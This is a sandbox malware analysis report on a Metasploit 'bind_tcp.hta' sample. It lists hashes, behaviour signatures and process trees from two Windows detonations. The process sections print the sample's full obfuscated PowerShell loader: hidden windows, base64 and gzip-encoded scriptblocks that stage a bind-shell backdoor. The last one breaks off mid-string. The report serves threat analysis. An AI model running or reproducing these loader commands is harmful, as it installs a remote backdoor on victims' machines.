Malware Analysis Report

2024-09-23 03:55

Sample ID 240530-e6hzhsff89
Target bind_tcp.hta
SHA256 82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98
Tags
metasploit backdoor execution trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98

Threat Level: Known bad

The file bind_tcp.hta was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor execution trojan

MetaSploit

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Enumerates physical storage devices

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-30 04:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 04:33

Reported

2024-05-30 04:35

Platform

win7-20240221-en

Max time kernel

117s

Max time network

118s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bind_tcp.hta"

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bind_tcp.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEASQBzAHkAMQAyAFUAQwBBADcAVgBXAGIAVwB7ADIAfQBpAE8AQgBEACsAdgB0AEwAKwBoADIAaQBGAGwARQBTACcAJwArACcAJwBsAEoATAB5AG8AdQA2ADIAMAAwAGoAbABRAG0AaQBCAEMAMgBZAFoAQwBLAFkAdABPAGIAdQBLAEEAaQB4AFAAVAB4AEMAbAB3AGUAewAyAH0AdgBmAGIAeAB5AFMAbAByADEAdAA3ADMAbwB7ADEAfQByAFMAVwBFAFkAOAArAE0AeAA4ADgAOABNACsATQB3AGkAMwAxAEIAZQBhAHkAcwB2AGkARABsADIAewAyAH0AdAAzAFMAagBHAEcATwBNAEcAUgBvAGwAWAA0AFEAMQBwAFYASwB7ADEAfQB4AFoANwA1ADMAcQB6ADcAdQBWAE0ASwBoAHsAMgB9AFYARAA0AHIAMgBnAHkAdAAxAHgAMABlAFkAUgByACcAJwArACcAJwBQAHoAOAA3AGEAVwBaAEsAUQBXAE8AeQB7ADIAfQBhAHgAZABFAG8ARABRAGwAMAAnACcAKwAnACcAUgAyAGoASgBOAFYAMAA1AFUAOQBsAHMAaQBRAEoATwBiADYAOAB1AHkAZQArACcAJwArACcAJwBVAEwANABwAGwAZAA5AHIARgA0AHoAZgBZAFYAYQBJADcAZAByAFkAWAB4AEwAbABHAE0AVwBCADMATwB0AHoASAAwAHYAUABhAHQANgBhAFUAYQBHAHAAWAA3ACsAcQArAHUAeQA0AFAAcQArAGQAUAAyAFMAWQBwAFoAcgBxADcAVgBKAEIAbwBsAHIAQQBtAEsAbwByADMAMwBWADUANABHAGkAMwBKAHAAcgBxAFUAagB7ADIAfQBoAEsAUQA5AEYAYgBVAEwAagBaAHEATgAyAEgAYQBjADQASgBBAE8AdwA5AGsAaABjAEkAcABZADgAUwBGAFcANAB6AFAATgAxAEUAaQBLAHkASgBOADcAZgBTAHAAcgBaAEMAMgBrAHEAVABJAGMASgA5ADEARQBRAEoAQwBSAE4AMQBhAG8AeQBrAHcAZgBNADUAdgBQAGYAdABGAGwAeAArAGwAVQBXAEMAeABxAFIAbQBoAE0ATABrAHYAQwAxAFIANQBKAEgANgBwAE8AMABaAHUATQA0AFkATwBTAEsAaABIAFAAUQA4ACcAJwArACcAJwBrAFIAQwA0ADgAVgBjADEAMABIAHMAawBhACsAJwAnACsAJwAnAEkAVgBvAGsAegB4AHEAcgBLAGYAegBHAGoARABjAGkAbQB4AE8ANgB0AFMAdABxAGgARQBrAGcATgBSAGEASgBYAEkAYQBnAHYAMwBOAFAAbABRAGMAYgBJAFgAbABOADkAdwBWAEYASgBCAEIAMwBHAEUAeABrAEEAdwBPADgAUwB3ADcAQQBrAEUASABVADYARgB5ADgAdwA2AEgAbQBoAEgAJwAnACsAJwAnAEwATgA4AGgANABEAFAAMgBwAEMAewAxAH0ATgBGACcAJwArACcAJwBmACsAcgBKAGgAVgB4AFkAWABUAHMAZQBEAEoARABqADQAcgBvAHkAUQBqACsAdgB3AEoAYwBhAFcAUwByAHUAdgBkADYAJwAnACsAJwAnAGwAdQB0ADEAVQB0AFYAVQBHAFEATQBGAG0AWgBqAFQAbwBQADUAcwB7ADIAfQBvAFAAOABhADgAOABiAGkAOABkAEsAZgBRADYAbQB6AHMAawBwAEQASABwADcARwBJAGMAVQBiADgAawByAFAAWgBTAFUARQBqAEkAUwBJADUASQByAFIAUQBiAGcASAArAGEAVwBtAHkAUQBvAEUATQAnACcAKwAnACcAWQBXAFcAQQBoAFkAWgBiAGMAKwBFAHsAMQB9AHQAUABLAEwAaQBTAGQAZgBLAEsAQQB0AEkAZwB7ADEAfQB3AEkAYgBBAHAAZQBRAGMAegAxAEgANQAzAFoAUgAwADUAVAB7ADEAfQBkAGcAbABFAFkAQwAzAHsAMgB9AHcAYQB5AFYAawBKAEkARQAxAEoASwBGADYAbQB4AEsAMAArAFgAMwB5AEMAawB0AGgAbABPAEkAYwBXAEgARwBlAFMAcABYADEAVQA4AGcAaABrAEoAcQBnAHEAJwAnACsAJwAnAEsAVQAxAHAAcwBvAFUAegB3AGYASwBvACsAdQArAHQAbQBUAEYAJwAnACsAJwAnAEEAZgBwADYASQAwAE4AOQBmAHsAMgB9AEIAbQBkAHgAYgBKAHYASABxAFUAZwB5AEgAOABJAEsARQBJAHkAOABOAGYARQBwAFoAaABLAFIAcQBtAEwAVABnAEYAZwA3AGoAeQA3AEsANAA5AFUAWAA4AFcAaABqAHgAaQBCADkAdwBOAEkAagB4AEEATgBXAEoAQQA2AGUAawBHAFIASgB3AE4ATwBjAEcASAByAE4ASQA4AEsASgAxAG8AeABFAEkASgBQAFgAagBTADcARABDADYAZwBTAFIAWgBMAGsANwBNAEkATABFAHEAaQB2AE8ARgByAG0AdwBwADcANABFAHAAawBTAGsAZwBNADMASQBkAHcAZQA0ADYASwBxAGoARwBrAGkAbwBBAHAASgBsAEcAVgArAHsAMgB9AEEAOABmAGYAcQA0ACsAdQBUAFAAdABoAEIAVABCADAAYwBvAE0AbQAxAGsANwBJAFYATwBnAGcAdQAyADYASgBHAG0AQgBVAEkANQBIAEkAZwBDAEwAYgBzAEkAagBDADYAZgBrAHAATABVAHYATgBOAG8ASAA0ADUASQBPAEUAWQB5AHAARQB6AE0AMwA2AEsAMQBvADMAZAB7ADEAfQBBAHoANABYAGYAdABSAHMAZQA5AFgAMgA2AEcAQQBxAFQAUgA2ADcAZgBUAG8AYwBYADMAVQArAEkAYgBoAFkAYgB7ADIAfQA5AE0AQQArAFUARQB2AEkASwBmAGUAdQBDAFcAOABjADAAZQAwAGgAOABqACsAUQBrADIAcgB0AGYAUQB0AGMAdwBUAHoAYQAwAGMANABGADQANgBZAE8AcwBnAGUATABYADEAbQBEAGoAdQAyADQAVQAxAFQAawAyADcAcwBpAGUAdAAzAHIARAA4ADIAagBSAFMAbwAyAG0AcgBaAE4AeQBaAHEATgBsAHUAWABUAFgATQBGADQARQAxAHAAZgBiAEYAQwB3AFMAQwBpAG0AMgAwAGYANQBsAEIAUgBMAHsAMgB9AHUAVwBrADEAcQBtAHcAOAA1ADcANwBhAHUANwBTAGEATgA3AE8AMgBHADIAMABlAG8AdQB3AHcAbABQAHYAWgBOAHAAeAB6AEMATQAwAHcAQgAzADMAQgAxAEMARgBnACsAYQA3AHUANgBtAGYAcwBWAEgAdABoADkAWgBoAGoASABPAGUAcwBpAEMANgA2ADIAMwAzAGEAcwB2AHUAQgAwAGgAdgBPAGsAWQA5AFEAewAxAH0AdgBUADgAWQAnACcAKwAnACcAZABhAGsAeQA0AGgAUgBjADkAZgByAEkAdwAnACcAKwAnACcAdwB0AGIAUQBHAEwAUABHAG8AbwAxADYAVwA0AHUAUwAyADQAZgB6ADcAdQAwAE4AZAB2AHQAMwBnADAAWgBvADEASwBjADMAcQBOAE0AYQBUAHkAVgBPADQAdwBaAHQAewAxAH0AbwB6AHUANABjAGoAeABEAGIAWgBIADYAZQBXAFIAYgBkAFQASABCAE8AYgBqAGIARABTAHgAcABXADIARQBGADEAZQBUAE0AZABoAHEAKwBNAHYAUQBPAEoAMQAwAGoAcABCADEAMQBKACsAbQBEAGIAeQB5AGUATwA1AE4AOQB7ADIAfQBZAEIAWABTAHkAewAxAH0ANgArADYAUQB3AGYANwBvAHUAcwBIAFIAbQBBADEAdQBNAE8AcgBmADcAcgBvAEcAewAxAH0ARABkAHMASQBiAHQAbABJADkAOQBkAGIAKwBPAGIAOQBlAGIAagA0ADAAYgBnADMAZwBRAHYAcgBKACcAJwArACcAJwBGAHgAZQB2ADMANQBBADgAUgA3AGQAawAxAGoAMABXAHoATQBLADkASAAyAGQAaQB5AEwANAB2AHQAMwBGAFcAYQB0AEgAZwA3AEMAewAyAH0AbAByAFIAZAAzAEcAUwBMAGoARQBEAE8AawBBADEATAA3AE8AeQB5ADUATgB1AFUAWgArAEgAewAxAH0ARQBvAE4AVABaAE8ATgBmAGsAVwBTAG0ARABCAG8AagBkAEEAOABTAHkANABqAHgAcgBnAHYAMgAwAE4AJwAnACsAJwAnAGUAeQBLAEUAMQA3AFIAdQBHADcARgB7ADIAfQBYAFQAdQA3AFYAUwB6AE4AZAAnACcAKwAnACcAZQBSAEwAVQB7ADEAfQA5AHQARwB1AFgAUgAyAGQAZwB0AE8AUQB7ADEAfQA0AEEAZABXAHQAOQBFAGkAewAyAH0ARQBzAG0AcAB1AG0ANgBZAEoAMQBkADcAYwBtAHEAMAA4AEQAOQA1ACsAcwB6AFoAZgA3AHoAUgBwAHEAeQByAGIAUgBZADUATQBZAFoAdgBsAHQAcwBFAGMARABSAFYATgArACsAJwAnACsAJwAnAFYAWQB3AGEAdABBAFEASABWADYASABhADMAWABnAEkATwBqAFYAMQBCAE0AbwBMAHIAdABVADEAegBDAFoAMwBIAE8ARABzAEUAcgA3AHYAWABFAGgAUQBQAHMAQQBMAFEANgAzAEgAdwBtAEgAdwBRADUAUgA4AEQAQQBNAFgAbABRAEsAawBKADIAeQA4AFAAdQBXADIASAAzADUANwArAFUATgBVAFcAaABXAHMASgBmADgARwArAHMAZQBWADcANwBoADkAMAAzAE0AYwBtAHMANwB0AEgANQBhAGYAewAxAH0ASABoAFkATQBhAHsAMgB9ACsAcwBRAG0ARwBBAHEAUQBOAEMARABpAHMAdgBJAHsAJwAnACsAJwAnADIAfQBoAEgAdwBNAGgAQgBGAHAAaAB4AEcAKwBQADQAYwA4AGkAQQBzAGgAewAxAH0AdwBiAFgAMgBiAGkAZQBBAEIAdgByAGIAegBtAHsAMgB9AHcAWABSAEEAOABhAEUAbABRAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBuACcAJwAsACcAJwAvACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAIsy12UCA7VWbW{2}iOBD+vtL+h2iFlES'+'lJLyou6200jlQmiBC2YZCKYtObuKAixPTxClwe{2}vfbxySlr1t73o{1}rSWEY8+Mx888M+Mwi31BeaysviDl2{2}t3SjGGOMGRolX4Q1pVK{1}xZ753qz7uVMKh{2}VD4r2gyt1x0eYRr'+'Pz87aWZKQWOy{2}axdEoDQl0'+'R2jJNV05U9lsiQJOb68uye+'+'UL4pld9rF4zfYVaI7drYXxLlGMWB3OtzH0vPat6aUaGpX7+q+uy4Pq+dP2SYpZrq7VJBolrAmKor33V54Gi3JprqUj{2}hKQ9FbULjZqN2Hac4JAOw9khcIpY8SFW4zPN1EiKyJN7fSprZC2kqTIcJ91EQJCRN1aoykwfM5vPftFlx+lUWCxqRmhMLkvC1R5JH6pO0ZuM4YOSKhHPQ8'+'kRC48Vc10Hska+'+'IVokzxqrKfzGjDcimxO6tStqhEkgNRaJXIagv3NPlQcbIXlN9wVFJBB3GExkAwO8Sw7AkEHU6Fy8w6HmhH'+'LN8h4DP2pC{1}NF'+'f+rJhVxYXTseDJDj4royQj+vwJcaWSruvd6'+'lut1UtVUGQMFmZjToP5s{2}oP8a88bi8dKfQ6mzskpDHp7GIcUb8krPZSUEjISI5IrRQbgH+aWmyQoEM'+'YWWAhYZbc+E{1}tPKLiSdfKKAtIg{1}wIbApeQcz1H53ZR05T{1}dglEYC3{2}wayVkJIE1JKF6mxK0+X3yCkthlOIcWHGeSpX1U8ghkJqgq'+'KU1psoUzwfKo+u+tmTF'+'Afp6I0N9f{2}BmdxbJvHqUgyH8IKEIy8NfEpZhKRqmLTgFg7jy7K49UX8WhjxiB9wNIjxANWJA6ekGRJwNOcGHrNI8KJ1oxEIJPXjS7DC6gSRZLk7MILEqivOFrmwp74EpkSkgM3Idwe46KqjGkioApJlGV+{2}A8ffq4+uTPthBTB0coMm1k7IVOggu26JGmBUI5HIgCLbsIjC6fkpLUvNNoH45IOEYypEzM36K1o3d{1}Az4XftRse9X26GAqTR67fTocX3U+IbhYb{2}9MA+UEvIKfeuCW8c0e0h8j+Qk2rtfQtcwTza0c4F46YOsgeLX1mDju24U1Tk27siet3rD82jRSo2mrZNyZqNluXTXMF4E1pfbFCwSCim20f5lBRL{2}uWk1qmw8577au7SaN7O2G20eouwwlPvZNpxzCM0wB33B1CFg+a7u6mfsVHth9ZhjHOesiC66233asvuB0hvOkY9Q{1}vT8Y'+'daky4hRc9frIw'+'wtbQGLPGoo16W4uS24fz7u0Ndvt3g0Zo1Kc3qNMaTyVO4wZt{1}ozu4cjxDbZH6eWRbdTHBObjbDSxpW2EF1eTMdhq+MvQOJ10jpB11J+mDbyyeO5N9{2}YBXSy{1}6+6Qwf7ousHRmA1uMOrf7roG{1}DdsIbtlI99db+Ob9ebj40bg3gQvrJ'+'Fxev35A8R7dk1j0WzMK9H2diyL4vt3FWatHg7C{2}lrRd3GSLjEDOkA1L7Oyy5NuUZ+H{1}EoNTZONfkWSmDBojdA8Sy4jxrgv20N'+'eyKE17RuG7F{2}XTu7VSzNd'+'eRLU{1}9tGuXR2dgtOQ{1}4AdWt9Ei{2}Esmpum6YJ1d7cmq08D95+szZf7zRpqyrbRY5MYZvltsEcDRVN++'+'VYwatAQHV6Ha3XgIOjV1BMoLrtU1zCZ3HODsEr7vXEhQPsALQ63HwmHwQ5R8DAMXlQKkJ2y8PuW2H357+UNUWhWsJf8G+seV77h903Mcms7tH5af{1}HhYMa{2}+sQmGAqQNCDisvI{'+'2}hHwMhBFphxG+P4c8iAsh{1}wbX2bieABvrbzm{2}wXRA8aElQsAAA{0}{0}')-f'=','n','/')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 0c38b7f27b5c45a3223752c992b0b7e5
SHA1 eff04ffb459a5591e40a1aa733fabb8db0d8f7cf
SHA256 e8b05b4c1fdd32724143f9dc3d9ded522a95a34e078c771ac925b9cfdc9ba8c3
SHA512 cb4e92d7e18d6fd2a2306738907e8a2723d4aceef8b4cc1926e4dcf93f813dc4530819205b8b5a20fb38e8f29a864c3f3bedc775d8cd5f58fec7b946c81767fd

memory/2564-7-0x0000000004EE0000-0x0000000004EE1000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 04:33

Reported

2024-05-30 04:35

Platform

win10v2004-20240426-en

Max time kernel

93s

Max time network

101s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bind_tcp.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bind_tcp.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEASQBzAHkAMQAyAFUAQwBBADcAVgBXAGIAVwB7ADIAfQBpAE8AQgBEACsAdgB0AEwAKwBoADIAaQBGAGwARQBTACcAJwArACcAJwBsAEoATAB5AG8AdQA2ADIAMAAwAGoAbABRAG0AaQBCAEMAMgBZAFoAQwBLAFkAdABPAGIAdQBLAEEAaQB4AFAAVAB4AEMAbAB3AGUAewAyAH0AdgBmAGIAeAB5AFMAbAByADEAdAA3ADMAbwB7ADEAfQByAFMAVwBFAFkAOAArAE0AeAA4ADgAOABNACsATQB3AGkAMwAxAEIAZQBhAHkAcwB2AGkARABsADIAewAyAH0AdAAzAFMAagBHAEcATwBNAEcAUgBvAGwAWAA0AFEAMQBwAFYASwB7ADEAfQB4AFoANwA1ADMAcQB6ADcAdQBWAE0ASwBoAHsAMgB9AFYARAA0AHIAMgBnAHkAdAAxAHgAMABlAFkAUgByACcAJwArACcAJwBQAHoAOAA3AGEAVwBaAEsAUQBXAE8AeQB7ADIAfQBhAHgAZABFAG8ARABRAGwAMAAnACcAKwAnACcAUgAyAGoASgBOAFYAMAA1AFUAOQBsAHMAaQBRAEoATwBiADYAOAB1AHkAZQArACcAJwArACcAJwBVAEwANABwAGwAZAA5AHIARgA0AHoAZgBZAFYAYQBJADcAZAByAFkAWAB4AEwAbABHAE0AVwBCADMATwB0AHoASAAwAHYAUABhAHQANgBhAFUAYQBHAHAAWAA3ACsAcQArAHUAeQA0AFAAcQArAGQAUAAyAFMAWQBwAFoAcgBxADcAVgBKAEIAbwBsAHIAQQBtAEsAbwByADMAMwBWADUANABHAGkAMwBKAHAAcgBxAFUAagB7ADIAfQBoAEsAUQA5AEYAYgBVAEwAagBaAHEATgAyAEgAYQBjADQASgBBAE8AdwA5AGsAaABjAEkAcABZADgAUwBGAFcANAB6AFAATgAxAEUAaQBLAHkASgBOADcAZgBTAHAAcgBaAEMAMgBrAHEAVABJAGMASgA5ADEARQBRAEoAQwBSAE4AMQBhAG8AeQBrAHcAZgBNADUAdgBQAGYAdABGAGwAeAArAGwAVQBXAEMAeABxAFIAbQBoAE0ATABrAHYAQwAxAFIANQBKAEgANgBwAE8AMABaAHUATQA0AFkATwBTAEsAaABIAFAAUQA4ACcAJwArACcAJwBrAFIAQwA0ADgAVgBjADEAMABIAHMAawBhACsAJwAnACsAJwAnAEkAVgBvAGsAegB4AHEAcgBLAGYAegBHAGoARABjAGkAbQB4AE8ANgB0AFMAdABxAGgARQBrAGcATgBSAGEASgBYAEkAYQBnAHYAMwBOAFAAbABRAGMAYgBJAFgAbABOADkAdwBWAEYASgBCAEIAMwBHAEUAeABrAEEAdwBPADgAUwB3ADcAQQBrAEUASABVADYARgB5ADgAdwA2AEgAbQBoAEgAJwAnACsAJwAnAEwATgA4AGgANABEAFAAMgBwAEMAewAxAH0ATgBGACcAJwArACcAJwBmACsAcgBKAGgAVgB4AFkAWABUAHMAZQBEAEoARABqADQAcgBvAHkAUQBqACsAdgB3AEoAYwBhAFcAUwByAHUAdgBkADYAJwAnACsAJwAnAGwAdQB0ADEAVQB0AFYAVQBHAFEATQBGAG0AWgBqAFQAbwBQADUAcwB7ADIAfQBvAFAAOABhADgAOABiAGkAOABkAEsAZgBRADYAbQB6AHMAawBwAEQASABwADcARwBJAGMAVQBiADgAawByAFAAWgBTAFUARQBqAEkAUwBJADUASQByAFIAUQBiAGcASAArAGEAVwBtAHkAUQBvAEUATQAnACcAKwAnACcAWQBXAFcAQQBoAFkAWgBiAGMAKwBFAHsAMQB9AHQAUABLAEwAaQBTAGQAZgBLAEsAQQB0AEkAZwB7ADEAfQB3AEkAYgBBAHAAZQBRAGMAegAxAEgANQAzAFoAUgAwADUAVAB7ADEAfQBkAGcAbABFAFkAQwAzAHsAMgB9AHcAYQB5AFYAawBKAEkARQAxAEoASwBGADYAbQB4AEsAMAArAFgAMwB5AEMAawB0AGgAbABPAEkAYwBXAEgARwBlAFMAcABYADEAVQA4AGcAaABrAEoAcQBnAHEAJwAnACsAJwAnAEsAVQAxAHAAcwBvAFUAegB3AGYASwBvACsAdQArAHQAbQBUAEYAJwAnACsAJwAnAEEAZgBwADYASQAwAE4AOQBmAHsAMgB9AEIAbQBkAHgAYgBKAHYASABxAFUAZwB5AEgAOABJAEsARQBJAHkAOABOAGYARQBwAFoAaABLAFIAcQBtAEwAVABnAEYAZwA3AGoAeQA3AEsANAA5AFUAWAA4AFcAaABqAHgAaQBCADkAdwBOAEkAagB4AEEATgBXAEoAQQA2AGUAawBHAFIASgB3AE4ATwBjAEcASAByAE4ASQA4AEsASgAxAG8AeABFAEkASgBQAFgAagBTADcARABDADYAZwBTAFIAWgBMAGsANwBNAEkATABFAHEAaQB2AE8ARgByAG0AdwBwADcANABFAHAAawBTAGsAZwBNADMASQBkAHcAZQA0ADYASwBxAGoARwBrAGkAbwBBAHAASgBsAEcAVgArAHsAMgB9AEEAOABmAGYAcQA0ACsAdQBUAFAAdABoAEIAVABCADAAYwBvAE0AbQAxAGsANwBJAFYATwBnAGcAdQAyADYASgBHAG0AQgBVAEkANQBIAEkAZwBDAEwAYgBzAEkAagBDADYAZgBrAHAATABVAHYATgBOAG8ASAA0ADUASQBPAEUAWQB5AHAARQB6AE0AMwA2AEsAMQBvADMAZAB7ADEAfQBBAHoANABYAGYAdABSAHMAZQA5AFgAMgA2AEcAQQBxAFQAUgA2ADcAZgBUAG8AYwBYADMAVQArAEkAYgBoAFkAYgB7ADIAfQA5AE0AQQArAFUARQB2AEkASwBmAGUAdQBDAFcAOABjADAAZQAwAGgAOABqACsAUQBrADIAcgB0AGYAUQB0AGMAdwBUAHoAYQAwAGMANABGADQANgBZAE8AcwBnAGUATABYADEAbQBEAGoAdQAyADQAVQAxAFQAawAyADcAcwBpAGUAdAAzAHIARAA4ADIAagBSAFMAbwAyAG0AcgBaAE4AeQBaAHEATgBsAHUAWABUAFgATQBGADQARQAxAHAAZgBiAEYAQwB3AFMAQwBpAG0AMgAwAGYANQBsAEIAUgBMAHsAMgB9AHUAVwBrA